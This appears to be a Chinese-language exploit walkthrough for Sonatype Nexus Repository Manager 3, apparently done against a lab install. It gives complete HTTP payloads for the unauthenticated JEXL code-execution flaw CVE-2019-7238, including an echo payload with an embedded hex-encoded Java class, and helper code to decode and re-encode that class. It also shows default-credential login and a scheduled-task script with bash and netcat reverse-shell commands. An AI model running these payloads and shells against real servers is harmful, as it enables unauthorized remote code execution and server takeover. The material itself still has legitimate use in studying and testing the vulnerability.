环境搭建

• 0.建议JDK——8U20
• 1.下载安装包
  https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
  安装包直链:https://sonatype-download.global.ssl.fastly.net/nexus/3/nexus-3.13.0-01-unix.tar.gz
• 2.解压安装包
  tar -zxvf nexus-3.13.0-01-unix.tar.gz
• 3.运行Nexus

cd nexus-3.13.0-01/bin
./nexus start

• 4.访问Nexus
  http://ip:8081

1.未授权RCE CVE-2019-7238

影响范围

Nexus Repository Manager OSS/Pro 3.6.2版本到3.14.0版本

触发必要条件

需要maven仓库内必须要至少一个包，如果没有需要登陆后自行上传一个任意包

登陆后自行上传

EXP

• 1.无回显payload

POST /service/extdirect HTTP/1.1
Host: ip:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 397
Connection: close

{"type": "rpc", "method": "previewAssets", "tid": 18, "data": [{"limit": 50, "sort": [{"property": "name", "direction": "ASC"}], "page": 1, "filter": [{"value": "*", "property": "repositoryName"}, {"value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"firefox\")", "property": "expression"}, {"value": "jexl", "property": "type"}], "start": 0}], "action": "coreui_Component"}

• 2.回显payload

POST /service/extdirect HTTP/1.1
Host: ip:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 7249
Connection: close

{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='CAFEBABE0000003100AE0A001F00560A005700580A005700590A005A005B0A005A005C0A005D005E0A005D005F0700600A000800610A006200630700640800650A001D00660800410A001D00670A006800690A0068006A08006B08004508006C08006D0A006E006F0A006E00700A001F00710A001D00720800730A000800740800750700760A001D00770700780A0079007A08007B08007C07007D0A0023007E0A0023007F0700800100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100114C4578706C6F69742F546573743233343B01000474657374010015284C6A6176612F6C616E672F537472696E673B29560100036F626A0100124C6A6176612F6C616E672F4F626A6563743B0100016901000149010003636D640100124C6A6176612F6C616E672F537472696E673B01000770726F636573730100134C6A6176612F6C616E672F50726F636573733B01000269730100154C6A6176612F696F2F496E70757453747265616D3B010006726573756C740100025B42010009726573756C745374720100067468726561640100124C6A6176612F6C616E672F5468726561643B0100056669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000C7468726561644C6F63616C7301000E7468726561644C6F63616C4D61700100114C6A6176612F6C616E672F436C6173733B01000A7461626C654669656C640100057461626C65010005656E74727901000A76616C75654669656C6401000E68747470436F6E6E656374696F6E01000E48747470436F6E6E656374696F6E0100076368616E6E656C01000B487474704368616E6E656C010008726573706F6E7365010008526573706F6E73650100067772697465720100154C6A6176612F696F2F5072696E745772697465723B0100164C6F63616C5661726961626C65547970655461626C650100144C6A6176612F6C616E672F436C6173733C2A3E3B01000A457863657074696F6E7307008101000A536F7572636546696C6501000C546573743233342E6A6176610C002700280700820C008300840C008500860700870C008800890C008A008B07008C0C008D00890C008E008F0100106A6176612F6C616E672F537472696E670C002700900700910C009200930100116A6176612F6C616E672F496E74656765720100106A6176612E6C616E672E5468726561640C009400950C009600970700980C0099009A0C009B009C0100246A6176612E6C616E672E5468726561644C6F63616C245468726561644C6F63616C4D617001002A6A6176612E6C616E672E5468726561644C6F63616C245468726561644C6F63616C4D617024456E74727901000576616C756507009D0C009E009F0C009B00A00C00A100A20C00A300A40100276F72672E65636C697073652E6A657474792E7365727665722E48747470436F6E6E656374696F6E0C00A500A601000E676574487474704368616E6E656C01000F6A6176612F6C616E672F436C6173730C00A700A80100106A6176612F6C616E672F4F626A6563740700A90C00AA00AB01000B676574526573706F6E73650100096765745772697465720100136A6176612F696F2F5072696E745772697465720C00AC002F0C00AD002801000F4578706C6F69742F546573743233340100136A6176612F6C616E672F457863657074696F6E0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6176612F6C616E672F50726F6365737301000777616974466F7201000328294901000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B0100136A6176612F696F2F496E70757453747265616D010009617661696C61626C6501000472656164010007285B4249492949010005285B4229560100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C6401000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100176A6176612F6C616E672F7265666C6563742F41727261790100096765744C656E677468010015284C6A6176612F6C616E672F4F626A6563743B2949010027284C6A6176612F6C616E672F4F626A6563743B49294C6A6176612F6C616E672F4F626A6563743B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B010006657175616C73010015284C6A6176612F6C616E672F4F626A6563743B295A0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100057772697465010005636C6F736500210026001F000000000002000100270028000100290000002F00010001000000052AB70001B100000002002A00000006000100000009002B0000000C000100000005002C002D00000009002E002F0002002900000304000400140000013EB800022AB600034C2BB60004572BB600054D2CB60006BC084E2C2D032CB60006B6000757BB0008592DB700093A04B8000A3A05120B57120CB8000D120EB6000F3A06190604B6001019061905B600113A07120B571212B8000D3A0819081213B6000F3A09190904B6001019091907B600113A0A120B571214B8000D3A0B190B1215B6000F3A0C190C04B60010013A0D03360E150E190AB80016A2003E190A150EB800173A0F190FC70006A70027190C190FB600113A0D190DC70006A70016190DB60018B60019121AB6001B990006A70009840E01A7FFBE190DB600183A0E190E121C03BD001DB6001E190D03BD001FB600203A0F190FB600183A101910122103BD001DB6001E190F03BD001FB600203A111911B600183A121912122203BD001DB6001E191103BD001FB60020C000233A1319131904B600241913B60025B100000003002A0000009600250000001600080017000D0018001200190019001A0024001B002E001D0033001F004200200048002100510023005B002500640026006A002700730029007D002A0086002B008C002D008F002F009C003100A5003200AA003300AD003500B6003600BB003700BE003900CE003A00D1002F00D7003D00DE003E00F4003F00FB004001110041011800420131004401380045013D0049002B000000DE001600A5002C00300031000F0092004500320033000E0000013E003400350000000801360036003700010012012C00380039000200190125003A003B0003002E0110003C003500040033010B003D003E0005004200FC003F00400006005100ED004100310007005B00E3004200430008006400DA004400400009007300CB00450031000A007D00C100460043000B008600B800470040000C008F00AF00480031000D00DE006000490043000E00F4004A004A0031000F00FB0043004B004300100111002D004C0031001101180026004D004300120131000D004E004F00130050000000340005005B00E3004200510008007D00C100460051000B00DE006000490051000E00FB0043004B0051001001180026004D005100120052000000040001005300010054000000020055';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);x.getMethod('test', ''.class).invoke(null, 'ifconfig');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}

回显payload

回显payload还原代码

import weblogic.cluster.messaging.internal.Hex;

import java.io.*;

public class Echo2 {

    public static void main(String[] args) throws Exception {


 
        String hexString = "cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055";
        byte[] bytes = Hex.fromHexString( hexString );
        File file = new File( "nexus.class" );
        FileOutputStream fos = new FileOutputStream( file );
        fos.write( bytes );
        fos.close();
    }

}

还原效果

class转hex

import java.io.*;


public class Echo3 {
    public static void main(String[] args) throws IOException {
        InputStream in = new FileInputStream("/Users/xue/WeblogicEcho/nexus.class");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data,3054);
        System.out.println(HexString);
    }


    public static byte[] toByteArray(InputStream in) throws IOException {

        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024 * 4];
        int n = 0;
        while ((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }
    public static String bytesToHexString(byte[] bArray, int length)
    {
        StringBuffer sb = new StringBuffer(length);
        String sTemp;
        for (int i = 0; i < length; i++)
        {
            sTemp = Integer.toHexString(0xFF & bArray[i]);
            if (sTemp.length() < 2)
                sb.append(0);
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

class转hex

代码都给了，其他玩法你懂得

2.后台计划任务getshell

• 1.使用弱口令登陆后台(默认口令为admin:admin123)
• 2.访问如下url,点击Create task
  http://ip:8081/#admin/system/tasks

Create task

• 3.选择Admin - Execute script

Admin - Execute script

• 4.作如下配置

配置

#通用
['/bin/bash','-c','/bin/bash -i >& /dev/tcp/IP/PORT 0>&1'].execute()
#centos/redhat用
['/bin/bash','-c','nc -e /bin/sh ip port'].execute()

并点击Create task

• 5.点击创建的任务并启动

创建的任务

启动任务

• 6.反弹成功

反弹成功

Reference

https://github.com/verctor/nexus_rce_CVE-2019-7238
https://vulhub.org/#/environments/nexus/CVE-2019-7238